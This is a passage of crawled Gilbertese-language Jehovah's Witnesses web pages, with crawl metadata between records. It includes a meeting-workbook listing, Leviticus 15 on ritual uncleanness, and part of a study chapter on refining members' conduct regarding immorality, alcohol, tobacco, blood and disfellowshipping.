Turai 2017 Kiribati MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI Turai 2017 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/mwb\/GB\/201707\/wpub\/mwb_GB_201707_lg.jpg Tibwaia Tibwaia MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI Turai 2017 Kiribati MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI Turai 2017 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/mwb\/GB\/201707\/wpub\/mwb_GB_201707_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/mwb201707\/","date":"2018-02-24T14:25:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815812.83\/warc\/CC-MAIN-20180224132508-20180224152508-00727.warc.gz","language":"gil","language_score":0.9947507977,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9947507977485657}","num_words":81,"character_repetition_ratio":0.13,"word_repetition_ratio":0.542,"special_characters_ratio":0.264,"stopwords_ratio":0.284,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"ARA MWAKURI NI MINITA June 2013 KAREKEI N AEKAIA AIKAI June 2013 Karekei booki aika Digital n aekaia aikai PDF Tibwaia ARA MWAKURI NI MINITA June 2013 Kiribati ARA MWAKURI NI MINITA June 2013 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/km\/GB\/201306\/wpub\/km_GB_201306_lg.jpg Tibwaia Tibwaia ARA MWAKURI NI MINITA June 2013 Kiribati ARA MWAKURI NI MINITA June 2013 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/km\/GB\/201306\/wpub\/km_GB_201306_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/ara-mwakuri-ni-minita\/km201306\/","date":"2018-03-24T00:44:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649508.48\/warc\/CC-MAIN-20180323235620-20180324015620-00091.warc.gz","language":"gil","language_score":0.8274576068,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.82745760679245, \"gaa_Latn_score\": 0.030415089800953865, \"atj_Latn_score\": 0.012422480620443821}","num_words":45,"character_repetition_ratio":0.176,"word_repetition_ratio":0.222,"special_characters_ratio":0.296,"stopwords_ratio":0.178,"flagged_words_ratio":0.0,"lang_id_score":0.824,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"15 E reitia ni kangai Iehova nakoni Mote ma Aaron: 2 \"Taetae nakoia tibun Iteraera ao tuangia ni kangai, 'Ngkana iai te mwaane ae iai te bae waanako mani mwaanena,* ao e kamwara man te baene waanako anne.+ 3 E kamwara teuaei man te bae waanako aei, e ngae ngke e teimatoa ni waanako te baenne mani mwaanena ke e a bono mwaanena iai, ma e boni kamwara naba teuaei. 4 \"'A na kamwara nne ni wene nako ake e wene iai te aomata ae iai te bae waanako mairouna, ao a na kamwara bwaai nako ake e tekatekani. 5 E riai ni kaitiakii kunnikaina te mwaane ae ringa nnen teuaei ni wene, ao e riai n tebotebo n te ran ao e na kamwara ni karokoa ae bong.+ 6 E riai ni kaitiakii kunnikaina ane e tekateka i aon te bwai ae e a tia n tekatekanna te aomata ae iai te bae waanako mairouna, ao e na tebotebo n te ran, ao e na kamwara ni karokoa ae bong. 7 E riai ni kaitiakii kunnikaina ane e ringa rabwatan te aomata are iai te bae waanako mairouna, e na tebotebo n te ran, ao e na kamwara ni karokoa ae bong. 8 Ngkana e bawareaki te aomata ae itiaki iroun teuare iai te bae waanako mairouna, ao e riai ni kaitiakii kunnikaina te aomata anne, e na tebotebo n te ran, ao e na kamwara ni karokoa ae bong. 9 A na kamwara kaintoka nako ake i aoia maan ake e tokari te aomata are iai te bae waanako mairouna. 10 E na kamwara ni karokoa ae bong ane e ringi bwaai nako ake e a tia n tekatekani teuaei, ao e na kaitiakii kunnikaina ane e uouotii baikai, e na tebotebo n te ran, ao e na kamwara ni karokoa ae bong. 11 E na kaitiakii kunnikaina te aomata are e ringaki iroun teuare iai te bae waanako mairouna+ ao e tuai n teboki baina n te ran, e na tebotebo n te ran te aomata anne, ao e na kamwara ni karokoa ae bong. 12 E riai n ibeaki te bwainnamwarake ae te kaatibu ae e ringnga te aomata are iai te bae waanako mairouna, ao a riai n ireaki n te ran bwainnamwarake nako ake a karaoaki man te kai.+ 13 \"'Ngkana e a toki te bae waanako ao e a itiaki man te baenne te aomata, e na wareka ngkanne itibong ibukini kaitiakana, ao e riai ni kaitiakii kunnikaina, ma n tebotebo n te ran man te koburake n ran, ao e na itiaki.+ 14 Ao n te kawanibong e riai n anai taobe aika uoman ke bitin aika uoman aika ataei,+ ao e na nako matan Iehova i rarikini mataroan te umwa ni botaki ao e na anga baikai nakon te ibonga.* 15 Ao e na anga baikai te ibonga, temanna bwa te karea ni kabwarabure ao are temanna bwa te karea ni kabuekaki, ao e na karaoia te ibonga ibukini karekeani kabwaraan ana bure teuaei i matan Iehova ni kaineti ma te bae waanako mairouna. 16 \"'Ngkana e nako ana tari te mwaane mairouna, ao e riai n teboka rabwatana ni kabane n te ran ao e na kamwara ni karokoa ae bong.+ 17 E riai ni kaitiakii n te ran kunnikai nako ma kunin nako te man ake e mena te tari i aoia, ao e na kamwara te baei ni karokoa ae bong. 18 \"'Ngkana e wene n taanga te mwaane ma te aine ao e nako ana tari, ao a riai n tebotebo n te ran ao a na kamwara ni karokoa ae bong.+ 19 \"'Ngkana iai te bae waanako mairoun te aine ae te raraa ao e riai n tiku n aki itiaki i nanon itibong ibukin aorakina n aine.+ Ane e ringa neiei e na kamwara ni karokoa ae bong.+ 20 A na kamwara bwaai nako ake e wene i aoia n ana tai n aki itiaki n aorakina n aine, ao a na kamwara bwaai nako ake e tekatekani.+ 21 E riai ni kaitiakii kunnikaina ane e ringa nnen neiei ni wene, e na tebotebo n te ran, ao e na kamwara ni karokoa ae bong. 22 E riai ni kaitiakii kunnikaina ane e ringi bwaai nako ake e tekatekani neiei, e na tebotebo n te ran, ao e na kamwara ni karokoa ae bong. 23 E na kamwara ni karokoa ae bong ane e ringa te nne ni wene ke te bwai riki teuana ae e tekatekanna neiei.+ 24 Ao ngkana e wene n taanga te mwaane ma neiei ao e mena i aona raraan neiei man aorakina n aine,+ ao e na kamwara teuaei i nanon itibong, ao a na kamwara nne ni wene nako ake e wene iai teuaei. 25 \"'Ma ngkana e waanako raraan te aine ni boong aika bati+ n te tai ae tiaki raoi ana tai n aoraki n aine,+ ke ngkana e a maan riki waanakon raraana nakon ana tai n aoraki n aine ae taneiai iai, e na kamwara ni boong ni kabane ake e waanako iai, n arona n aki itiaki n ana bongi n aoraki n aine. 26 A na riki nne ni wene nako ake e wene iai ni boong ake iai te bae waanako mairouna, bwa nnena ni wene n aoraki n aine,+ ao a na kamwara bwaai nako ake e tekatekani n aron aki itiakin aorakina n aine. 27 E na kamwara ane e ringi baikai, ao e riai ni kaitiakii kunnikaina, e na tebotebo n te ran, ao e na kamwara ni karokoa ae bong.+ 28 \"'Ma ngkana e a toki te bae waanako mairouna, ao e na wareka itibong imwin tokin te baere waanako, ao imwina e na itiaki.+ 29 Ao n te kawanibong e riai n anai taobe aika uoman ke bitin aika uoman aika ataei,+ ao e na uotii nakon te ibonga i rarikini mataroan te umwa ni botaki.+ 30 E na karaoa are temanna te ibonga bwa te karea ni kabwarabure ao are temanna bwa te karea ni kabuekaki, ao e na karaoia te ibonga ibukini karekeani kabwaraan ana bure neiei i matan Iehova, ni kaineti ma te bae kamwara are waanako mairouna.+ 31 \"'Mangaia ae kam na buokiia tibun Iteraera bwa a aonga n itiaki, ao a aonga n aki mate ni kaineti ma kamwaraia ibukini kamwaraean au umwanrianna ae tabu* are mena i buakoia.+ 32 \"'Anne te tua ibukin te mwaane ae iai te bae waanako mairouna, ao te mwaane ae nako ana tari n te aro are e a kamwara iai,+ 33 ao te aine ae kamwara ni kaineti ma aorakina n aine,+ ao te mwaane ke te aine ae iai te bae waanako mairouna,+ ao te mwaane ae wene n taanga ma te aine n ana tai ni kamwara.'\"\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/nakoaia-ibonga\/15\/","date":"2018-03-17T18:39:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645280.4\/warc\/CC-MAIN-20180317174935-20180317194935-00100.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1148,"character_repetition_ratio":0.144,"word_repetition_ratio":0.137,"special_characters_ratio":0.244,"stopwords_ratio":0.485,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1. Tera are e noria Etekiera ae ti rangi ni mimi iai?\nTERA arom ngkana ko rinanon naba te baere e rinanona te burabeti are Etekiera, 25 tabun te tienture n nako? Iangoa aei: Ko a roko n te tembora teuana ae rangi ni bubura, ae raneanea ao e bati ruuna. Iai te anera ae rangi ni korakora ae mena ikanne are e na kaota nakoim te tabo ae rangi ni kamimi aei! Ko a roko n te kaitiua ni mwaneka n te bwai n tamwarake ae kaineta teuana mai buakoni mataroan te oo aika tenua. Ko rangi ni mimi ni mataroan te oo aikai bwa e nakon tao 30 te mita rietaia. Ko kona n nori ruu n tantani i nanona, ao taamnein te aroka ae te baam ae rangi ni kan ni bouana nako.\n2. (a) E tei ibukin tera te tembora are e noraki n te miitara? (Nora naba te kabwarabwara mai nano.) (b) Tera ae ti kona n reiakinna mani bwain nako te kawai n rin n te tembora?\n2 Aio bon te tembora n taamnei are noraki n te miitara. E kabwarabwaraa raoi taekana Etekiera n te aro are ana rongorongo iai e a kaoni mwakoro 40 nakon 48 n ana boki ni burabeti. E tei te tembora aio ibukin ana babaire Iehova ibukin te taromauri ae itiaki. Iai baika nanonaki ni bwaina nako ni kaineti ma ara taromauri ni kabaneani boong aikai. * Tera ae nanonaki ni mataroan te oo aika rietata? Ti a kauringaki iai bwa a riai te koraki ake a rin n ana babaire Iehova ibukin te taromauri ae itiaki, ni maiuakin ana kaetieti te Atua aika kakawaki ma n raraoi. E nanonaki naba anne n taamnein aroka aika baam aika kaaraki, bwa n tabetai ao a kabonganaaki n te Baibara taiani baam ibukin te raoiroi. (TaiAre. 92:12) Ao tera ae nanonaki n ruu n tantani? E teretere bwa naake a kabwaka ni karinea ana kaetieti te Atua, a na aki karinaki n te kawai ae tamaroa aei ibukin te taromauri ae itiaki ae karekea te maiu.\n3. E aera ngkai a kainnanoa te katamaroa ae teimatoa taan rimwini Kristo?\n3 E kangaa ni kakoroaki bukin ana miitara Etekiera aei? N aron ae ti reiakinna ni Mwakoro 2 n te boki aei, ao e kabonganaaki Kristo iroun Iehova bwa e na waakina te mwakuri ni katamaroa ae okoro ibukia ana aomata ni moa man 1914 nakoni moan 1919. E toki ikanne te waaki ni katamaroa? E bon aki! I nanon tienture aika nako ao e teimatoa Kristo ni kaotiota kakawakin ana kaetieti Iehova aika tabu ni kaineti ma te aroaro ni maiu. Mangaia are a kainnanoa te katamaroa ae teimatoa taan rimwina. Bukin tera? Ibukina bwa e ikotiia taan rimwina Kristo man te aonnaba ae buakaka aei ao Tatan e aki bwara nanona ni kataia ni katikiia bwa a na okira te aroaro ni maiu ae buakaka ae kaanga aron te bokaboka. (Wareka 2 Betero 2:20-22.) Ti na neneri tenua itera aika a teimatoa ni katamaroaaki iai Kristian ni koaua. Ti na rinanoni moa tabeua katamaroa i aon te aroaro ni maiu, ao imwina te babaire ae kakawaki ibukini kateimatoaan itiakin te ekaretia, ao te kabane bon te babaire ibukin te utu.\nKatamaroaan te Aroaro ni Maiu ni Waakinakon Taian Ririki\n4, 5. Tera ana anga Tatan ae e a maan ni kakabongana, ao tera nakoraoin ana anga anne?\n4 A teimatoa ni kakawaki irouia ana aomata Iehova, aroaro aika raraoi ma n eti. Ngaia are a mutiakina te kaetieti ae mataata riki n te itera aei. Iangoi katoto tabeua.\n5 Te wene ni bure. E karika te wene n taanga Iehova i marenaia taanga ni mare bwa e na itiaki ma n raoiroi. Ma e kukurei Tatan n urua aron te bwaintangira ae rangi ni kakawaki aei man aroni kabonganaana ae riai, n arona ni karikia bwa te bwai ae buakaka, ao e kabongana ni kabwakaia iai ana aomata Iehova bwa a aonga ni kabuaa akoaia irouna. E tokanikai Tatan ni kabonganaakin ana anga ae kananokawaki mwina aei n ana bong Baraam, ao e a rangi ni kakabongana riki ni kabaneani boong aikai.\n6. Tera te taetae ni bau ae boreetiaki n te Taua-n-Tantani, tera aroni kabonganaana, ao bukin tera ngkai e toki kabonganaana? (Nora naba te kabwarabwara mai nano.)\n6 Ni kamemeerean ana kakorakora nako Tatan, e a boreetiaki taekan te taetae ni bau n te Taua-n-Tantani ae bwain Tun 15, 1908, ae taekinaki naba iai te berita aei: \"Arou nakon ae tiaki raou ni mwaane ke n aine i mataia aomata, anne naba arou nakoia n taabo aika raba, n taai nako ao n taabo nako.\" * E ngae ngke a aki kairoroaki aomata bwa a na ira nanon te taetae ni bau aei, ma a bati aomata aika iria ao a anga araia bwa a na boreetiaki n te Zion's Watch Tower. N ririki ake imwina riki ao e oti bwa e ngae ngke e ibuobuoki te taetae ni bau aio nakoia aomata aika bati, ma e bon tii riki bwa te katei ai ngaia are e a toki kabonganaana. Ma a teimatoa n tauaki booto n reirei ake iai ibukin te aroaro ni maiu ae riai.\n7. Tera te kangaanga ae kabwarabwaraaki n Te Taua-n-Tantani n 1935, ao tera te kaetieti ae e a manga taekinaki iai?\n7 E a kakorakoraa riki ana kakaaitara Tatan. E kabwarabwaraaki rikirakeni kangaanga i buakoia ana aomata te Atua n Te Taua-n-Tantani ae bwaini Maati 1, 1935. A iangoia tabeman bwa uataboan te mwakuri ni minita, e kona ni karekea angaia bwa a na aki maiuakini ana kaetieti Iehova ibukin te aroaro ni maiu ae riai. E taekinaki ae kangai n Te Taua-n-Tantani: \"E riai n ataia temanna bwa e aki tau tii irirakin te uarongorongo. Ana tia kakoaua Iehova bon taan tei ibukina, ao a mwiokoaki bwa a na tei raoi ibukin Iehova ma ana tautaeka n uea.\" E oti n te kaongora anne taekan te reirei ni kairiri ae mataata ibukin te tekateka n taanga ao mwakuri ni wene ni bure, ai ngaia are a a buokaki iai ana aomata te Atua bwa a na \"birinako man te wene ni bure.\"\n8. E aera ngkai e okioki n Te Taua-n-Tantani katuruturuan raoi nanon te taeka ni Kuriiti ibukin te wene ni bure?\n8 Tatabebwi te ririki aika tibwa nako, ao e okioki n Te Taua-n-Tantani katuruturuan nanon raoi te taeka ae kabonganaaki n te Koroboki ae Tabu n te Taetae ni Kuriiti ae por·neiʹa ibukin te wene ni bure. E aki tii nanonaki iai karaoan te wene ni bure, ma e nanonaki naba iai mwakuri aika kammaira n aekaia nako ake a karaoaki n auti ake a kakabooaki iai aomata ibukin te wene ni bure. A kamanoaki taan rimwini Kristo mani waaki ni wene ni bure aika kammaira are a taonakinako iai aomata aika bati ni boong aikai.\n9, 10. (a) Tera te aroaro ni maiu ae maroroakinaki n Te Taua-n-Tantani n 1935? (b) Tera ana reirei te Baibara ae aki tabeitera ibukini kabonganaan te kamanging?\n9 Kabonganaan te kamanging n te aro ae riao. E a manga maroroakinaki riki te itera teuana ni kaineti ma te aroaro ni maiu n Te Taua-n-Tantani ae bwaini Maati 1, 1935, ae kangai: \"E noraki naba bwa iai tabeman aika uarongorongo ao ni karaoi mwioko tabeua n te ekaretia ao a rotaki n [te kamanging]. N te aro raa ae kariaiakaki iai n te Baibara kabonganaan te kamanging? E riai kabonganaan te wain iroun temanna n te aro are e a rotakibuaka iai mwiokoana i nanon ana botaki te Uea?\"\n10 E kabwarabwaraaki ni kaekaan titiraki aikai te iango ae riai ni kaineti ma moi aika kamanging, n aron ae oti n ana Taeka te Atua. E aki kabuakakaaki n te Baibara kabonganaan te wain ao moi aika kamanging riki tabeua ma te taubaang, ma e rangi ni kabuakakaaki iai te kokoro ni manging. (TaiAre. 104:14, 15; 1Kor. 6:9, 10) Ni kaineti ma karaoan te beku ae tabu iroun te aomata ae moi n te kamanging ao e rotaki iai, a a kamani kauringaki iai taekaia natin Aaron ake e kamateia te Atua ngke a anga te ai ae aki kariaiakaki i aon ana baonikarea te Atua. E aki maan imwin anne ao e a kaotaki n te rongorongo te bae e kona ni kairiia mwaane akanne bwa a na karaoa te mwakuri ae buakaka aei, bwa e anga te tua te Atua ae a katabuaki ibonga ni kabane ni kabongana te kamanging n taini karaoani mwiokoaia aika tabu. (NakIbo. 10:1, 2, 8-11) Ni maiuakinan te boto n reirei ae kakawaki aei ni boong aikai, ao a taraia raoi taan rimwini Kristo bwa a na aki moi n te kamanging n te aro ae a rotaki iai ngkana a karaoa aia beku ae tabu.\n11. E aera ngkai bon te kakabwaia nakoia ana aomata te Atua rikiraken otaia ibukin te aoraki ae te arekooro?\n11 Tatabebwi te ririki aika tibwa nako ao a a kakabwaiaaki riki taan rimwini Kristo n rikiraken te ota ni kaineti ma te aoraki ae te arekooro ae e tautoronaki iai te aomata n te kamanging ao e okioki ni kabongana te kamanging n te aro ae riao. Te kakaitau ae bati ibukin amwarake n taamnei aika roko n taia aika riai, are a buokaki iai aomata aika bati bwa a na kona ni kaitaraa te kangaanga aei n te aro ae riai ao ni kanakoraoa maiuia. A bati riki ake a a tia ni buokaki bwa a na kamanoia n te aro are a aikoa ituaki n te aoraki aei. A boni kona aomata ni kabane n aki kariaia kabonganaan te kamanging n te aro ae riao bwa e na uruana karineakia, e na uruana aia utu, ao ae moamoa riki e na uruana kakabwaiaaia ae taromaurian Iehova n te aro ae itiaki.\n\"Ti aki kona n iangoa ara Uea bwa e na boboi baakee ke ni kaaki te bwai i wina ae kamwara.\"\n12. Tera aia iango ana toro Kristo ibukini kabonganaan te baakee, imwain naba moanakini kabaneani boong?\n12 Kabonganaan te baakee. A moana norakini buakakan te baakee ana toro Kristo imwaini moanakini kabaneani boong. N ririki aika bwakanako ao e ururing te tari te mwaane ae e a kara ae Charles Capen, ngke e moani kaitiboo ma Charles Taze Russell n raabanen te ka-19 n tienture. Bon 13 ana ririki Capen n te tai anne, ao e teitei ma tarina aika teniman ni kaintamwaraken te Auti ni Baibara i Allegheny i Pennsylvania. Ngke e rirarikia Russell ao e a titiraki ni kangai: \"Kam moko ataeinimwaane? I aroka boin te moko.\" A tuangnga ae a bon aki moko. A bon ota raoi n ana iango ibukin te baakee man ana titiraki anne. N te Taua-n-Tantani ae bwain Aokati 1 n 1895, ao e taekina iai ae kangai Brother Russell ni kaineti ma 2 I-Korinto 7:1: \"I bon aki kona n noria bwa e na kangaa te aomata ae kabongana te baakee n aekana nako ni kona n neboa te Atua iai ke ni karekea kakabwaiaana iai. . . . Ti aki kona n iangoa ara Uea bwa e na boboi baakee ke ni kaaki te bwai i wina ae kamwara.\"\n13. Te aroaro ni maiu raa are e katamaroaaki n 1973?\n13 N 1935 ao e atongaki te baakee n Te Taua-n-Tantani bwa \"te titania ae kamwara,\" ao e taekinaki bwa e aki kona n teimatoa n riki temanna bwa kaain te utu ni Betaera, ke ni mwiokoaki n ana botaki te Atua n te mwakuri ni bwaiania, ke n riki bwa te mataniwi ae mwamwananga, ngkana e rineia bwa e na bwaronriaa te baakee ke e na mokonna. N 1973 ao e a manga katamaroaaki riki te aroaro ni maiu. E kabwarabwaraaki n Te Taua-n-Tantani ae bwain Tun 1 bwa akea Ana tia Kakoaua Iehova ae kona n teimatoa ni mena n te ekaretia ao e kakaraoa te bwai ae kamamate aio, e kamwara, ao e bangaomata. A na kabaneaki man te ekaretia te koraki ake a rawa ni katoka kabonganaan te baakee. * E a manga karaoa riki te mwaneka ae kakawaki Kristo ni katamaroaia taan rimwina.\n14. Tera ana kaetieti te Atua ni kaineti ma te raraa, ao e kangaa n riki te karinraraa bwa te waaki ae bwabwainaki?\n14 Kabonganaan te raraa n te aro ae aki riai. N ana bong Noa ao e taekinna te Atua bwa e bure kanakin te raraa. E a manga kamatoaa riki anne n te Tua nakon te natannaomata ae Iteraera ao e tua naba nakon te ekaretia ni Kristian bwa a na 'rawa nakon te raraa.' (Mwa. 15:20, 29; KBwaai 9:4; NakIbo. 7:26) E aki kamimi ngkai e reke naba angan Tatan ni boong aikai ni kairiia aomata aika bati bwa a na aki ongeaba nakon ana kaetieti te Atua aei. A karaoa aia kakatai taokita n te karinraraa n te ka-19 n tienture, ao e a taabangaki riki te waaki aio imwini kunean rinanin nako te raraa. N 1937 ao e a moanaki rikoan taian raraa ao ni kawakinaki n te tabo ae aranaki bwa te bangke n raraa. E a kaungaaki te karinraraa n tain te Kauoua ni Buaka Are Kabutaa Aonnaba. N te tai ae waekoa ao e a bwabwainaki te karinraraa ni katobibia te aonnaba.\n15, 16. (a) A ninikoria ni kaitaraa tera Ana tia Kakoaua Iehova ni kaineti ma te karinraraa? (b) Tera te boutoka ae e a tia ni katauraoaki ibukia taan rimwini Kristo ibukin te karinraraa, ao ibukini bwainnaoraki aika tiaki te raraa, ao tera mwina?\n15 Ni moan 1944 ao e taekinaki n Te Taua-n-Tantani bwa karinan te raraa bon titeboo naba ma kanakina. N te ririki are imwina, e a kamatoaaki ao ni kamatataaki riki te koaua man te Baibara anne. N 1951 ao a boreetiaki taian titiraki ma kaeka ake a na reiakinaki iai ana aomata te Atua aroia nakoia taani kuakua ma taokita. A a tia taan rimwini Kristo aika kakaonimaki ni katobibia te aonnaba, ni kaokaota te ninikoria n taai ake a kakanikoaki iai, a ribaaki, ke a bwainikirinaki. Ma e teimatoa Kristo ni kaira ana botaki n arona ni katauraoa te ibuobuoki ae kainnanoaki, rinanoni boreetiakini boroutia ao kaongora aika neneraki raoi iai taekan te raraa.\n16 N 1979 ao a kawari onnaoraki unimwaanen te ekaretia tabeman bwa a na buokiia taokita n ota n ara koaua, bukina man te Baibara, ao ni maroroakini baika a kona n onea mwin te raraa. N 1980 ao e a karaoaki te kataneiai ae onoti nakoia unimwaanen ekaretia nako mani kaawa aika 39 mwaitiia n te United States. Imwina riki, e a kariaia te Rabwata n Tautaeka kateani Komete Ibukin te Reitaki ma te Onnaoraki ni katobibia te aonnaba. Iai uaan te mwakuri korakora aei n ririki aika bati? Ni boong aikai ao taani kuakua ma taokita aika tatabebwi tenga mwaitiia n ikotaki ma taani korokoro ao taani kamatu, a boonnano ma taani Kakoaua ake a aoraki, ao a a karinea ara motinnano ae ti na aki kabongana te raraa. A ririkirake mwaitin onnaoraki aika kona ni bwainnaoraki n aki kabongana te raraa, ao a kakoauaa tabeman bwa bon aio te kabanea n tamaroa ni bwainnaoraki. E aki ngkanne kakukurei iaiangoan aanga ake e kabonganai Iesu ni kamanoia iai taan rimwina man ana kakorakora Tatan ni kani kabaarekaia?\n17. Ti na kangaa ni kaota kakawakin ana anga Kristo ni katamaroaia taan rimwina?\n17 Ti wanawana ngkana ti titirakinira aei, 'E kakawaki iroura ana anga Kristo ni katamaroaia taan rimwina, ni kataneiaira bwa ti na toui mwin ana kaetieti Iehova aika kakawaki ibukin te aroaro ni maiu ae riai?' Ngkana eng, ti bia uringnga ngkanne ae e teimatoa Tatan ni kakaaea angani karaureakira ma Iehova ao Iesu, n arona n urui arora ni karinei aroaro aika kakukureia te Atua. Ni kaitaraan te kataaki anne, e teimatoa ana botaki Iehova n anga taiani kauring aika tatangira ni kaineti ma aroaro aika aki riai ake a bwabwainaki n te aonnaba aei. Ngaia are ti bia teimatoa ni mutiakin, ni butimwaei, ao n ongeaba ni kaetieti aika ibuobuoki aikai.\nKamanoan te Ekaretia Mani Kabuakakaana n te Aroaro ni Maiu\n18. Tera te kauring ae mataata nakoira man ana miitara Etekiera, ni kaineti ma naake a rineia bwa a na karitei nakon ana kaetieti nako te Atua?\n18 Te kauoua n itera ni kaineti ma katamaroaan te aroaro ni maiu, e bon irekereke ma waaki aika kateimatoa itiakin te ekaretia. E kananokawaki bwa te koraki ake a butimwaea ana kaetieti Iehova ibukin te aroaro ni maiu ae riai ao ni katabui maiuia nakoina, a aki bane ni maiuakina aia motinnano. A a tia tabeman ni bitaki nanoia ao n rineia bwa a na karitei nakoni kaetieti akanne. Tera ae e na karaoaki nakoia aeka n aomata akanne? Ti bae n nora te kanikina teuana n ana miitara Etekiera i aon te tembora n taamnei are maroroakinaki ni moan te mwakoro aei. Uringi mataroan te oo ake a ririeta. Iai ruu n tantani n te kawai n rin teuana ma teuana. A teiakina te tembora taan tantani bwa a na tukiia naake a 'aki korotobibiaki nanoia' bwa a na aki rinnako. (Etek. 44:9) Anne bon te kauring ae mataata bwa te taromauri ae itiaki bon te kakabwaia ae tii reke irouia naake a kakorakoraia ni maiuakin ana kaetieti Iehova aika itiaki, ni kaineti ma te aroaro ni maiu ae riai. N aron naba anne, te kakabwaia ae te uaia n taromauri ma raao ni Kristian, e bon aki reke irouia aomata ni kabane ni boong aikai.\n19, 20. (a) E kangaa Kristo ni buokiia taan rimwina teutana imwin teutana ni katamaroaa aroia n rinanoa te bure ae kakaiaki? (b) Baikara bukina aika tenua ae e kabaneaki iai man te ekaretia te tia kakaraoa ae bure ae aki raira nanona?\n19 Ngkoa n 1892 ao e taekinaki n te Taua-n-Tantani bwa boni \"mwiokoara (ngkai Kristian ngaira) bwa ti na kabaneia man te ekaretia naake a kakewea ae Kristo e anga ngaia bwa te kaboomwi [ae te boo ae boraoi raoi] ibukia aomata ni kabane.\" (Wareka 2 Ioane 10.) N 1904 ao e oti n te boki ae The New Creation bwa naake a teimatoa ni maiuakin aroaro aika kairua, a boni karekea te kangaanga ae kamamaraan te ekaretia. N taai akekei ao a bane kaain te ekaretia n ira te boowi n te ekaretia are a rinanoaki iai buure aika kakaiaki. Ma a karako mwaitini boowi aikai. N 1944 ao e kaotaki n Te Taua-n-Tantani bwa tii taari mwaane aika mwiokoaki aika riai ni karaoa te aeka ni mwakuri anne. N 1952 ao e a boreetiaki n Te Taua-n-Tantani kabwarabwaraan aroni karaoan te moti ae boto i aon te Baibara, are e a katuruturuaki iai bukina ae kakawaki ae e kabaneaki iai te aomata man te ekaretia, bwa e aonga n teimatoa n itiaki te ekaretia.\n20 I nanon ririki aika bati imwin anne, ao e a tia Kristo ni buokiia taan rimwina ni kamataataa ao ni katamaroaa aron rinanoan te bure ae kakaiaki. A kataneiaaki raoi unimwaane aika Kristian ibukini karaoan te moti ae boraoi ma ana iango Iehova, n te kaetitaeka ae riai ao n te nanoanga ae aki tabeitera. Ni boong aikai, ti a atai bukina aika tenua ngkai e kabaneaki man te ekaretia te tia kakaraoa ae bure ae aki raira nanona: (1) ibukini kamanoan aran Iehova mani kabuakakaana, (2) ibukini kamanoan te ekaretia bwa e na aki kabarekaaki ni mwin te bure ae kakaiaki, ao (3) ibukini kairan te tia kakaraoa ae bure bwa e na raira nanona ngkana e kona.\n21. N te aro raa ae bon te kakabwaia nakoia ana aomata te Atua te babaire ae te kabaneaki man te ekaretia?\n21 Ko nora bukina ngkai te babaire ae te kabaneaki man te ekaretia bon te kakabwaia nakoia taan rimwini Kristo ni boong aikai? N aia tai I-Iteraera rimoa, ao a aki toki n riki taani bure bwa taani kariri aika buakaka nakoia te natannaomata, ao n tabetai a mwaiti riki mwaitiia nakoia ake a tangira Iehova ao n ukera karaoan ae raoiroi. Ngaia are a aki toki ni karekea kabuakakaan aran Iehova te natannaomata aei, ao ni kabuaa akoaia irouna. (Ier. 7:23-28) Ma ni boong aikai ao Iehova e a manga reitaki ma te botaki ae kaainaki irouia mwaane ao aine aika korakora n te onimaki. Ibukina bwa a a tia ni kabaneaki mai buakora taani karaoa ae kairua, a aikoa kona n riki ngkanne bwa kaanga ana bwai ni buaka Tatan aika a na karuanikaia te ekaretia ao itiakina. E boni kauarerekeaki iai te kariri ae a kona ni karaoia. E kateimatoaaki iai akoan ara botaki iroun Iehova. Uringa ana berita Iehova ae kangai: \"Akea te bwai ni buaka ae karaoaki n ekikonako ae e na tokanikai.\" (Ita. 54:17) Ti kakaonimaki ni koaua ni boutokaiia unimwaanen te ekaretia aika karaoi mwioko aika rawawata aikai ni kaineti ma tabeakinani buure aika karaoaki?\nNeboakin Teuare A Bane n Riki Irouna Utu\n22, 23. E aera ngkai ti kakatonga irouia raora ni Kristian ake ni moan te ka-20 n tienture, ao tera te bwai ni kakoaua bwa e kainnanoaki riki te aki tabeitera ni kaineti ma te utu?\n22 Te katenua n itera ae a kakabwaiaaki iai taan rimwini Kristo man teimatoan te katamaroa, e boni kaineti ma te tekateka n taanga ao te maiu n utu. Te koaua bwa e a tia ni katamaroaaki arora n iaiangoa te utu i nanon ririki aika bati? Eng. N te katoto, ngkana ti wareka rongorongoia ana toro te Atua ni moan te ka-20 n 